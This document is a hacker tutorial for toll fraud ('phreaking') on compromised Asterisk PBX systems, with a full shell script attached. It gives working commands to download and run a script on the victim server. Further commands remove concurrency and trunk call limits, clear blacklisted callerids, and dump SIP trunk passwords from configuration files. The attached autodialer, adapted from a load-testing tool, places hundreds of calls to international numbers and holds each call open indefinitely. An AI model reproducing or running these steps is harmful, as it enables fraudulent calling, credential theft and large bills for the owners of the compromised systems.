Asterisk Phreaking How-To by Akramachamarei This file shows how to use asterisk to make international calls. All is done with command line client. A graphical client like Zoiper can be used additionally to verify that the endpoint number can be reached. Required is access to the pbx as asterisk user. First execute asterisk -rx 'sip show peers' sample output Name/username Host Dyn Forcerport ACL Port Status Description 1741240560 10.200.7.157 N 5060 OK (49 ms) 201/201 (Unspecified) D N A 0 UNKNOWN 202/202 (Unspecified) D N A 0 UNKNOWN 203/203 (Unspecified) D N A 0 UNKNOWN 204/204 (Unspecified) D N A 0 UNKNOWN 205 (Unspecified) D N A 0 UNKNOWN STXSIP 10.200.7.157 N 5060 OK (44 ms) ...to view the active peers connected. The peers at top show the caller ids we will use for the auto dial call file. At bottom the trunks are listed, there are two types of trunks, inbound and outbound. We are interested in the outbound trunks to place calls. We will use the shell script at the end of this tutorial to place automated calls. Now we have to fetch the call.sh script to the asterisk pbx. Command wget -O /tmp/c.sh /call.sh;chmod a+x /tmp/c.sh;/tmp/c.sh add;asterisk \ -rx 'dialplan reload';asterisk -rx 'manager reload' ...will download call.sh from , save it to /tmp/c.sh. Then it will call the add function of the shell script to add a new extension to /etc/ asterisk/extensions.conf. the new extension is [calloutnow] echo "exten => 100,1,Wait(999999999) which just waits until the call is hung up. then the command reloads the dialplan and manager to activate the new extension. now we are ready to make calls. this is the command layout /tmp/c.sh slow NULL here is an example command to place a test call /tmp/c.sh slow 1 205 NULL 15 1 SIP/STXSIP/00449999999999 this command will execute 1 call from callerid 205 at an interval of 15 seconds to trunk STXSIP and destination number 00449999999999. Normally it's ok to use the 00 prefix for the calls, I haven't seen a pbx that doesn't change the prefix automatically. to see if the place succeeds we look into the asterisk log file located at /var/log/asterisk/full Command tail -30 /var/log/asterisk/full ...will show log like [2014-02-14 07:47:05] VERBOSE[30266] pbx_spool.c: -- Attempting call on SIP/STXSIP/00449999999999 for 100@calloutnow3:1 (Retry 1) [2014-02-14 07:47:05] VERBOSE[30266][C-00003930] netsock2.c: == Using SIP RTP TOS bits 184 [2014-02-14 07:47:05] VERBOSE[30266][C-00003930] netsock2.c: == Using SIP RTP CoS mark 5 [2014-02-14 07:47:16] VERBOSE[30266][C-00003930] pbx.c: -- Executing [ 100@calloutnow3:1] Wait("SIP/STXSIP-00003941", "999999999") in new stack this indicates a successful connection to the number. We can see this by the line Wait("SIP/STXSIP-00003941", "999999999") entry. If the log file still shows this line after some seconds and not an error that it hung up the call then we can be sure that the line calls stable. After we have assured the call goes to the destination we can place more calls to the number. Command /tmp/c.sh slow 200 205 NULL 15 1 SIP/STXSIP/00449999999999 calls the destination 200 times with an interval delay of 15 seconds. we always can view the call queue is running by looking into the asterisk outgoing spool path /var/spool/asterisk/outgoing. Simply with ls -la /var/spool/asterisk/outgoing We can stop upcoming calls by deleting the queue. Simply with rm /var/spool/asterisk/outgoing/* Individual calls can be hung up with asterisk -rx 'core show channels concise' this will show the channel name of the call at the left side and asterisk -r -x 'channel request hangup ' hangs up the call. Some asterisks have limits configured. There are two types of limits, limits bound to the callerid and limits for the maximum outbound calls for the trunk. we can see if there are limits for the callerid with asterisk -rx 'sip show inuse' the limit column with value 2147483647 means unlimited calls. we can see the outbound trunk limit with grep OUTMAXCHANS /etc/asterisk/* empty entries mean unlimited outbound calls for the asterisk pbx we have access to, it does not show and we cannot manipulate the outbound call limit of the trunk peer. we can set limits for callerids by asterisk -rx "database put AMPUSER /concurrency_limit 9999999" will set concurrency call limit to a high value. we can set outbound trunk limits with the sed command to change extensions_additonal.conf, you should backup this file before doing so. sed -i.bak 's/OUTMAXCHANS_1 =\ 5/OUTMAXCHANS_1 =/g' /etc/asterisk/ \ extensions_additional.conf asterisk -rx 'dialplan reload';asterisk -rx 'manager reload' these commands will change OUTMAXCHANS_1 setting from 5 to unlimited and reload asterisk dialplan and manager. finally when a callerid is blacklisted by the pbx we can recover the callerid with asterisk -rx 'database del blacklist ' one useful command is cat /etc/asterisk/sip_additional.conf it dumps callerids and trunks with passwords. attached is the call.sh script for your pleasure. Happy Calls and Stay safe! #!/bin/bash #***************************************************************# # generateCalls.sh # # written by: Sam Rausch # # samrausch@gmail.com # # version 0.1 # # written October 21, 2011 # #***************************************************************# # # # assumes presence of Asterisk already configured # # + with a spool path at /var/spool/asterisk/outgoing # # + with an 'autodialer' context configured as follows # # # # [autodialer] # # exten => 100,1,Playback(some-foo-goes-here) # # exten => 100,2,Wait(1) # # exten => 100,3,Playback(goodbye) # # exten => 100,4,Hangup # # # # this script has two functions # # + fast() will generate calls at a fixed $callsPerSecond rate # # + slow() will generate calls with a fixed $intercallDelay # # # # if you find this script useful, consider dropping # # me a note to say thanks. i don't want beer money # # and i don't have an Amazon wishlist ;-) # # if you're inclined to compensate me monetarily, # # please make a donation to: # # # # -= http://www.donors1.org/contribute =- # # # # this script is free to redistribute as long as # # everything above remains intact # # # # if you remove my name and take credit for the script # # rabid space cats will come to your house and # # speedhump your legs until you beg for mercy... # # ...please don't make me send my space cats # # # #***************************************************************# asteriskSpoolPath=/var/spool/asterisk/outgoing add () { echo "[calloutnow]" >> /etc/asterisk/extensions.conf echo "exten => 100,1,Wait(999999999)" >> /etc/asterisk/extensions.conf echo ok exit 0 } #-----------------------------------------------------------------------------# # fast () # # generates .call files for use by Asterisk # # Parameters: numcalls, callingParty, calledParty, callsPerSecond, startDelay # #-----------------------------------------------------------------------------# fast () { # prompt for values if not given on the CLI if [ -z "$2" ] then echo echo "<---------------------------------------------------------------------------->" echo "Oops, I don't know enough to place your calls." echo "Please tell me more about what you'd like to do" echo "using the following format:" echo echo "generateCalls " echo echo " = total number of calls to generate" echo " = phone number originating the calls expressed as xxxxxxxxxx" echo " = phone number terminating the calls expressed as xxxxxxxxxx" echo " = number of calls placed per second, if the same as echo " then all calls will be placed simultaneously" echo " = delay after executing script for calls to start expressed in seconds echo echo "I'll be creating your .call files in $(pwd)" echo "then moving them to the default Asterisk spool path" echo "/var/spool/asterisk/outgoing/" echo echo "If you'ld like them to go somewhere else, you'll need to" echo "edit this script" echo "<---------------------------------------------------------------------------->" echo exit 0 else let numCalls=$1 callingParty="$2" calledParty="$3" let callsPerSecond=$4 let startDelay=$5 channel="$6" fi # Output the values for visual confirmation echo "You want to make $numCalls calls" echo "You want to call from $callingParty" echo "You want to call to $calledParty" echo "You want to place $callsPerSecond calls per second" echo "You want to wait $startDelay seconds before the first call" echo "You want to call from channel $channel" echo # Generate the .call files let callsPerSecondReference=$callsPerSecond let second=$startDelay while [ "$numCalls" -gt 0 ] do let callsPerSecond=$callsPerSecondReference while [ "$callsPerSecond" -gt 0 ] do echo "Channel: $channel" > testcall$numCalls.call echo "CallerID: \"CLI\"<$callingParty>" >> testcall$numCalls.call echo "Context: calloutnow" >> testcall$numCalls.call echo "Extension: 100" >> testcall$numCalls.call echo "Priority: 1" >> testcall$numCalls.call touch -r testcall$numCalls.call -d "+$second sec" testcall$numCalls.call # touch -t "$month$day$hour$minute.$second" testcall$numCalls.call let "numCalls -= 1" let "callsPerSecond -= 1" done let "second += 1" done # Move the .call files to the default Asterisk outgoing path echo "Your calls will start in $startDelay seconds" mv *.call /var/spool/asterisk/outgoing/ # Remind the user to answer their phone echo Answer your phone!!! # Now go away... exit 0 } #-----------------------------------------------------------------------------# # slow () # # generates .call files for use by Asterisk # # Parameters: numcalls, callingParty, calledParty, intercallDelay, startDelay # #-----------------------------------------------------------------------------# slow () { # prompt for values if not given on the CLI if [ -z "$2" ] then echo echo "<---------------------------------------------------------------------------->" echo "Oops, I don't know enough to place your calls." echo "Please tell me more about what you'd like to do" echo "using the following format:" echo echo "generateCalls " echo echo " = total number of calls to generate" echo " = phone number originating the calls expressed as xxxxxxxxxx" echo " = phone number terminating the calls expressed as xxxxxxxxxx" echo " = number of seconds between calls" echo " = delay after executing script for calls to start expressed in seconds" echo " You'll want to add 10 sec for every 1,000 files you want to generate" echo "I'll be creating your .call files in $(pwd)" echo "then moving them to the default Asterisk spool path" echo "/var/spool/asterisk/outgoing/" echo echo "If you'ld like them to go somewhere else, you'll need to" echo "edit this script" echo "<---------------------------------------------------------------------------->" echo exit 0 else let numCalls=$1 callingParty="$2" let intercallDelay=$3 let startDelay=$4 channel="$5" fi # Output the values for visual confirmation echo "You want to make $numCalls calls" echo "You want to call from $callingParty" echo "You want to call to $channel" echo "You want to wait $intercallDelay seconds between calls" echo "You want to wait $startDelay seconds before the first call" echo # Generate the .call files let second=$startDelay while [ "$numCalls" -gt 0 ] do echo "Channel: $channel" > testcall$numCalls.call echo "CallerID: \"CLI\"<$callingParty>" >> testcall$numCalls.call echo "Context: calloutnow" >> testcall$numCalls.call echo "Extension: 100" >> testcall$numCalls.call echo "Priority: 1" >> testcall$numCalls.call touch -r testcall$numCalls.call -d "+$second sec" testcall$numCalls.call let "numCalls -= 1" let second=$second+$intercallDelay done # Move the .call files to the default Asterisk outgoing path echo "Your calls will start in $startDelay seconds" mv *.call /var/spool/asterisk/outgoing/ # Remind the user to answer their phone echo Answer your phone!!! # Now go away... exit 0 } help () { echo echo echo "****************************************************************" echo echo " this script has two functions " echo " + fast() will generate calls at a fixed callsPerSecond rate " echo " + slow() will generate calls with a fixed intercallDelay " echo echo " if you find this script useful, consider dropping " echo " me a note to say thanks. i don't want beer money " echo " and i don't have an Amazon wishlist ;-) " echo " if you're inclined to compensate me monetarily, " echo " please make a donation to: " echo " " echo " -= http://www.donors1.org/contribute =- " echo " " echo " this script is free to redistribute as long as " echo " everything above remains intact " echo " " echo " if you remove my name and take credit for the script " echo " rabid space cats will come to your house and " echo " speedhump your legs until you beg for mercy... " echo " ...please don't make me send my space cats " echo echo "****************************************************************" echo echo "generateCalls fast " echo " numCalls = total number of calls to generate" echo " callingParty = phone number originating the calls expressed as xxxxxxxxxx" echo " calledParty = phone number terminating the calls expressed as xxxxxxxxxx" echo " callsPerSecond = number of calls placed per second, if the same as" echo " numCalls then all calls will be placed simultaneously" echo " startDelay = delay after executing script for calls to start expressed in seconds" echo echo "-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-" echo echo "generateCalls slow " echo " numCalls = total number of calls to generate" echo " callingParty = phone number originating the calls expressed as xxxxxxxxxx" echo " calledParty = phone number terminating the calls expressed as xxxxxxxxxx" echo " intercallDelay = number of seconds between calls" echo " startDelay = delay after executing script for calls to start expressed in seconds" echo " You'll want to add 10 sec for every 1,000 files you want to generate" echo echo exit 0 } # need this line to call the function passed from the CLI # because bash is too stupid to let me define functions # locally to override what's in .bashrc "$1" "$2" "$3" "$4" "$5" "$6" "$7" "$8" "$9" exit 0